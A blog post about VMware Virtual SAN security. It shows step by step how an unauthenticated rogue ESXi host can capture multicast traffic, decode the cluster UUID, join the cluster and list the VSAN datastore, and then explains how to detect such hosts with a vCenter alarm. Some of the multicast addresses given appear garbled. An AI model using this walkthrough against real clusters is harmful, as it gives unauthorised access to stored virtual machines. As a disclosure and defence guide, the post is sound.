As a common best practice you should separate management, vMotion and Virtual SAN traffic from production traffic. This is not only a performance requirement, but also for security concerns. Compared to management traffic which is encrypted and requires authentication and vMotion traffic which is impracticable to eavesdrop, Virtual SAN traffic presents a large surface area to attacks.
This article explains why it is critical to keep Virtual SAN traffic in protected networks and what can happen when you ignore this guideline. I am also explaining how you can detect and monitor such attacks.
What’s the problem?
Virtual SAN has no authentication mechanism. It is expected behavior and well documented how you can join a VSAN Cluster and get access to the VSAN Datastore. There is no requirement that all ESXi hosts have to contribute hard drives to the VSAN Cluster. ESXi hosts without local drives can also be part of the VSAN Cluster and run Virtual Machines.
Adding a host to a Virtual SAN Cluster is explained in KB2059091 (Adding a host back to a Virtual SAN cluster after an ESXi host rebuild) and this technical whitepaper: TechNote: Bootstrapping VSAN without vCenter.
The process is simple and does not require any authentication or vCenter assistance. Run the following command on any ESXi host with physical access to the VSAN Network:
~ # esxcli vsan cluster join -u [VSAN cluster UUID]
The host will join the VSAN Cluster and you have full access to the VSAN Datastore. Both documents mentioned above are explaining how you can identify the UUID when you have access to an ESXi host participating in the cluster:
~ # esxcli vsan cluster get Cluster Information Enabled: true Current Local Time: 2015-11-13T21:09:19Z Local Node UUID: 5626efba-a1d6-5baa-adfe-000c294db439 Local Node State: AGENT Local Node Health State: HEALTHY Sub-Cluster Master UUID: 5626f1d9-c195-3457-cc98-000c298eb368 Sub-Cluster Backup UUID: 56443d6f-ec94-9cc5-5261-005056bd245c Sub-Cluster UUID: 52e951e5-8202-1bad-2647-23963e4dc535 Sub-Cluster Membership Entry Revision: 12 Sub-Cluster Member UUIDs: 5626f1d9-c195-3457-cc98-000c298eb368, 56443d6f-ec94-9cc5-5261-005056bd245c, 5626efba-a1d6-5baa-adfe-000c294db439 Sub-Cluster Membership UUID: 85494456-b3a3-31e7-a021-000c298eb368
Nothing fancy so far because you need VSAN access to get the UUID. But is it’s also possible without.
How to get the UUID without access to the VSAN?
Without knowing anything about the Virtual SAN you technically have to gather two informations to maliciously join a VSAN Cluster. You need the Cluster UUID, and the IP network where ESXi hosts are communicating. ESXi hosts participating in VSAN are using multicast packets to communicate to each other, an exactely these packets comprise the required information. The packets are sent on VSAN enabled VMkernel interfaces and this is the reason why you have keep this network secure.
As a default VSAN uses two multicast addresses, 126.96.36.199 (Master Group) and 188.8.131.52 (Agent Group). All hosts are sending one packet every second to one of the multicast addresses. Let’s place a malicious ESXi host in the network and capture a packet. We are capturing traffic on vmnic level so no IP address configuration is required yet. The output is filtered by UDP (Protocol ID 0x11) and the VSAN master group multicast address.
~ # pktcap-uw --uplink vmnic1 --proto 0x11 --ip 184.108.40.206 21:57:50.161227 Captured at EtherswitchDispath point, TSO not enabled, Checksum not offloaded and verified, length 242. Segment ---- 242 bytes: 0x0000: 0100 5e01 0203 0050 5660 afeb 0800 4500 0x0010: 00e4 745d 0000 0511 54a7 0a00 0001 e001 0x0020: 0203 90b9 3039 00d0 4d69 636d 6d64 736e 0x0030: 6574 0006 0700 c800 0000 d864 0300 0000 0x0040: 0000 8549 4456 b3a3 31e7 a021 000c 298e 0x0050: b368 0000 0000 0000 0000 0000 0000 0000 0x0060: 0000 52e9 51e5 8202 1bad 2647 2396 3e4d 0x0070: c535 0000 0000 0000 0000 0000 0000 0000 0x0080: 0000 5626 efba a1d6 5baa adfe 000c 294d 0x0090: b439 b248 4456 07f3 2b4d 70c0 000c 294d 0x00a0: b439 0000 0006 0000 0000 0000 0000 0000 0x00b0: 0000 0e03 0500 0300 0000 0d01 0100 0000 0x00c0: 0000 0b02 0000 0000 0000 0d09 0100 1000 0x00d0: 0000 bb48 4456 92d9 26e7 aafa 000c 298e 0x00e0: b368 0d03 0100 0200 0000 0d03 0100 0000 0x00f0: 0000
Now we are taking the packet apart:
This is the IP packet in hexadecimal. I’ve marked the information we are looking for:
- 0a00 0001 = IP Address of the sending ESXi Host (10.0.0.1)
- 636d 6d64 736e 6574 = Converted to ASCII: cmmdsnet. CMMFS stands for Cluster Monitoring, Membership, and Directory Service and is a part of VSAN.
- 52e9 51e5 8202 1bad 2647 2396 3e4d c535 = VSAN Cluster UUID
With this information we can join the malicious host to the VSAN Cluster. First create a virtual Switch and configure the VMkernel interface:
~ # esxcli network vswitch standard add --vswitch-name=vSwitch1 ~ # esxcli network vswitch standard uplink add --uplink-name=vmnic1 --vswitch-name=vSwitch1 ~ # esxcli network vswitch standard portgroup add --portgroup-name=vsan --vswitch-name=vSwitch1 ~ # esxcli network ip interface add --interface-name=vmk1 --portgroup-name=vsan ~ # esxcli network ip interface ipv4 set --interface-name=vmk1 --ipv4=10.0.0.50 --netmask=255.255.255.0 --type=static
Activate VSAN traffic:
~ # esxcli vsan network ipv4 add -i vmk1
Now we can join the Virtual SAN Cluster.
The UUID must be converted to the format xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
~ # esxcli vsan cluster join -u 52e951e5-8202-1bad-2647-23963e4dc535
That’s it. We are now part of the VSAN Cluster and have full access to the VSAN Datastore:
~ # esxcli vsan cluster get Cluster Information Enabled: true Current Local Time: 2015-11-13T18:55:31Z Local Node UUID: 56447644-2c0f-5c3b-1c8a-005056bd0f2c Local Node State: AGENT Local Node Health State: HEALTHY Sub-Cluster Master UUID: 5626f1d9-c195-3457-cc98-000c298eb368 Sub-Cluster Backup UUID: 56443d6f-ec94-9cc5-5261-005056bd245c Sub-Cluster UUID: 52e951e5-8202-1bad-2647-23963e4dc535 Sub-Cluster Membership Entry Revision: 5 Sub-Cluster Member UUIDs: 5626f1d9-c195-3457-cc98-000c298eb368, 56443d6f-ec94-9cc5-5261-005056bd245c, 5626efba-a1d6-5baa-adfe-000c294db439, 56447644-2c0f-5c3b-1c8a-005056bd0f2c Sub-Cluster Membership UUID: 85494456-b3a3-31e7-a021-000c298eb368 ~ # ls -l /vmfs/volumes/vsanDatastore/ total 3072 drwxr-xr-t 1 root root 1820 Nov 12 11:22 6e764456-9bce-00ad-1003-000c294db439 drwxr-xr-t 1 root root 1820 Nov 12 11:22 86764456-6a1c-bd44-7c4e-000c298eb368 drwxr-xr-t 1 root root 1820 Nov 12 11:23 a5764456-a335-6b7a-5307-000c298eb368 lrwxr-xr-x 1 root root 36 Nov 13 18:55 dc01 -> 6e764456-9bce-00ad-1003-000c294db439 lrwxr-xr-x 1 root root 36 Nov 13 18:55 dc02 -> 86764456-6a1c-bd44-7c4e-000c298eb368 lrwxr-xr-x 1 root root 36 Nov 13 18:55 www01 -> a5764456-a335-6b7a-5307-000c298eb368
How to identify malicious ESXi Hosts?
When an ESXi host that is not known to the vCenter joins the Virtual SAN, the following warning appears:
Found host(s) [hostsname] participating in the Virtual SAN service which is not a member of this host’s vCenter cluster.
ESXi hosts are also marked with a yellow warning symbol:
If you want to monitor this event, you can create a custom alarm:
- Navigate to vCenter > Manage > Alarm Definitions and click Add (Green +)
- Configure general settings
Alarm name: Rogue Host Found in Virtual SAN Cluster.
Monitor for: specific event occuring on this object.
- Add a trigger for the event com.vmware.vc.vsan.RogueHostFoundEvent
- Finish the wizard
Hosts will now trigger an alarm when rogue hosts are detected.
I’ve reported this potential security issue during the beta phase to VMware. They confirmed that this is intended behavior and the advice is to use an isolated non-routed VLAN.